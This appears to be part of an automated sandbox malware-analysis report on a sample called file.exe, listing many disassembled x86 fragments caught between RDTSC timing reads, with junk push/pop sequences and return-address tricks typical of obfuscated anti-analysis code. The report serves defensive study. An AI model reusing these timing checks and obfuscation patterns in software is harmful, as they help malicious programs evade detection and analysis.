Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B46899 second address: B4689F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4689F second address: B468BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push 00000000h 0x0000000b mov ebx, 35DF9C00h 0x00000010 push eax 0x00000011 jp 00007F8AA8C154D4h 0x00000017 pushad 0x00000018 jc 00007F8AA8C154C6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47A4C second address: B47AA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8AA8B7BB97h 0x00000008 jmp 00007F8AA8B7BB90h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 mov dword ptr [ebp+1245DC08h], esi 0x00000019 push 00000000h 0x0000001b mov edi, dword ptr [ebp+12462029h] 0x00000021 push 00000000h 0x00000023 mov ebx, dword ptr [ebp+122D277Ah] 0x00000029 push edx 0x0000002a jnl 00007F8AA8B7BB8Ch 0x00000030 pop ebx 0x00000031 push eax 0x00000032 push edi 0x00000033 push eax 0x00000034 push edx 0x00000035 push edi 0x00000036 pop edi 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4996E second address: B499EB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8AA8C154C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F8AA8C154C8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov edi, dword ptr [ebp+122D3A00h] 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edx 0x00000033 call 00007F8AA8C154C8h 0x00000038 pop edx 0x00000039 mov dword ptr [esp+04h], edx 0x0000003d add dword ptr [esp+04h], 00000018h 0x00000045 inc edx 0x00000046 push edx 0x00000047 ret 0x00000048 pop edx 0x00000049 ret 0x0000004a push 00000000h 0x0000004c jmp 00007F8AA8C154D3h 0x00000051 xchg eax, esi 0x00000052 push edi 0x00000053 pushad 0x00000054 jc 00007F8AA8C154C6h 0x0000005a pushad 0x0000005b popad 0x0000005c popad 0x0000005d pop edi 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push esi 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B499EB second address: B499F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49B83 second address: B49BAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F8AA8C154D9h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BABA second address: B4BABF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BABF second address: B4BAEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8C154D3h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8AA8C154CDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BAEB second address: B4BAF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BC5D second address: B4BC79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8C154D7h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BC79 second address: B4BC97 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8AA8B7BB8Ch 0x00000008 jbe 00007F8AA8B7BB86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 jp 00007F8AA8B7BB88h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BC97 second address: B4BD22 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8AA8C154C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push dword ptr fs:[00000000h] 0x00000013 mov dword ptr [ebp+122D2978h], ebx 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007F8AA8C154C8h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a push eax 0x0000003b jmp 00007F8AA8C154CBh 0x00000040 pop edi 0x00000041 mov eax, dword ptr [ebp+122D175Dh] 0x00000047 push 00000000h 0x00000049 push esi 0x0000004a call 00007F8AA8C154C8h 0x0000004f pop esi 0x00000050 mov dword ptr [esp+04h], esi 0x00000054 add dword ptr [esp+04h], 00000017h 0x0000005c inc esi 0x0000005d push esi 0x0000005e ret 0x0000005f pop esi 0x00000060 ret 0x00000061 mov edi, dword ptr [ebp+1247EE68h] 0x00000067 push FFFFFFFFh 0x00000069 xor dword ptr [ebp+122D277Ah], edx 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 jns 00007F8AA8C154C8h 0x00000078 push edi 0x00000079 pop edi 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DAF7 second address: B4DB41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB90h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8AA8B7BB96h 0x0000000f nop 0x00000010 mov bl, 0Bh 0x00000012 push 00000000h 0x00000014 xor dword ptr [ebp+124517A4h], eax 0x0000001a push 00000000h 0x0000001c mov dword ptr [ebp+122D24C3h], ebx 0x00000022 push eax 0x00000023 jbe 00007F8AA8B7BB90h 0x00000029 pushad 0x0000002a push edx 0x0000002b pop edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4CD40 second address: B4CD45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4CD45 second address: B4CD5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 je 00007F8AA8B7BB86h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F8AA8B7BB88h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4CD5C second address: B4CD67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F8AA8C154C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B53E63 second address: B53E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B53E68 second address: B53E77 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8AA8C154C8h 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B555B9 second address: B555C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B555C0 second address: B555CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B555CD second address: B555D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B555D3 second address: B555E2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jl 00007F8AA8C154C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58D6F second address: B58D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58D75 second address: B58D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58D7D second address: B58D89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8AA8B7BB86h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5849F second address: B584A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8AA8C154C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B584A9 second address: B584B9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8AA8B7BB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B584B9 second address: B584BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B584BD second address: B584C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B584C1 second address: B584FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a push eax 0x0000000b jmp 00007F8AA8C154D7h 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007F8AA8C154D3h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B584FA second address: B58500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58664 second address: B58668 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58668 second address: B58672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58672 second address: B58676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58945 second address: B58958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 je 00007F8AA8B7BB8Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58958 second address: B5895D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DA71 second address: B5DA79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E6DA second address: B5E6E7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E6E7 second address: B5E6EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E6EB second address: B5E715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F8AA8C154CCh 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 pushad 0x00000013 jnl 00007F8AA8C154C6h 0x00000019 push eax 0x0000001a pop eax 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e ja 00007F8AA8C154C6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E715 second address: B5E740 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8AA8B7BB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 ja 00007F8AA8B7BB88h 0x0000001a push edi 0x0000001b pop edi 0x0000001c popad 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 pushad 0x00000022 pushad 0x00000023 jns 00007F8AA8B7BB86h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E90C second address: B5E920 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154D0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E920 second address: B5E924 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B60B6C second address: B60B76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8AA8C154C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B62D9A second address: B62DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8AA8B7BB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B62DA4 second address: B62DAA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B62DAA second address: B62DDF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F8AA8B7BB8Fh 0x00000008 jmp 00007F8AA8B7BB97h 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jng 00007F8AA8B7BB9Dh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67B42 second address: B67B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8AA8C154C6h 0x0000000a popad 0x0000000b pushad 0x0000000c push ebx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007F8AA8C154C6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67B5A second address: B67B77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8AA8B7BB94h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67B77 second address: B67B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B668B0 second address: B668FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F8AA8B7BBA5h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8AA8B7BB97h 0x00000013 jc 00007F8AA8B7BB88h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B668FC second address: B66919 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F8AA8C154D7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67891 second address: B67897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6DD38 second address: B6DD47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 je 00007F8AA8C154D2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6C9CD second address: B6C9DF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8AA8B7BB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F8AA8B7BBA0h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D179 second address: B6D185 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8AA8C154C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D185 second address: B6D19A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F8AA8B7BB8Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D450 second address: B6D455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D455 second address: B6D484 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8AA8B7BB8Ch 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8AA8B7BB91h 0x00000017 jl 00007F8AA8B7BB86h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D484 second address: B6D499 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D499 second address: B6D4A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6DA68 second address: B6DA6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6DA6E second address: B6DA84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 jg 00007F8AA8B7BB96h 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F8AA8B7BB86h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74CB9 second address: B74CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B645 second address: B3B649 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B649 second address: B3B687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], esi 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F8AA8C154C8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 xor dword ptr [ebp+12457528h], eax 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jnc 00007F8AA8C154C6h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B687 second address: B3B691 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8AA8B7BB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BD71 second address: B3BD75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BD75 second address: B3BD86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BD86 second address: B3BD8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BD8B second address: B3BDC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8B7BB90h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8AA8B7BB8Bh 0x00000013 pop edx 0x00000014 nop 0x00000015 mov dword ptr [ebp+12455F03h], edx 0x0000001b push 0000001Eh 0x0000001d movzx edi, dx 0x00000020 nop 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 jnp 00007F8AA8B7BB86h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BDC6 second address: B3BDEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007F8AA8C154CBh 0x0000000f pop edi 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C13E second address: B3C148 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F8AA8B7BB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C148 second address: B3C18D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jns 00007F8AA8C154DEh 0x00000012 jbe 00007F8AA8C154D8h 0x00000018 jmp 00007F8AA8C154D2h 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 jnl 00007F8AA8C154D0h 0x00000026 jmp 00007F8AA8C154CAh 0x0000002b jg 00007F8AA8C154CCh 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C284 second address: B3C2F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB96h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jno 00007F8AA8B7BB9Dh 0x00000010 nop 0x00000011 jc 00007F8AA8B7BB8Ch 0x00000017 mov edx, dword ptr [ebp+12462029h] 0x0000001d lea eax, dword ptr [ebp+1248ABB0h] 0x00000023 mov ch, 37h 0x00000025 nop 0x00000026 jns 00007F8AA8B7BB94h 0x0000002c push eax 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 jp 00007F8AA8B7BB86h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C2F0 second address: B1B2C5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F8AA8C154C8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov dword ptr [ebp+12455B45h], esi 0x0000002c call dword ptr [ebp+122D2677h] 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push ebx 0x00000037 pop ebx 0x00000038 jmp 00007F8AA8C154CCh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B2C5 second address: B1B2E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F8AA8B7BB98h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B2E9 second address: B1B2EE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
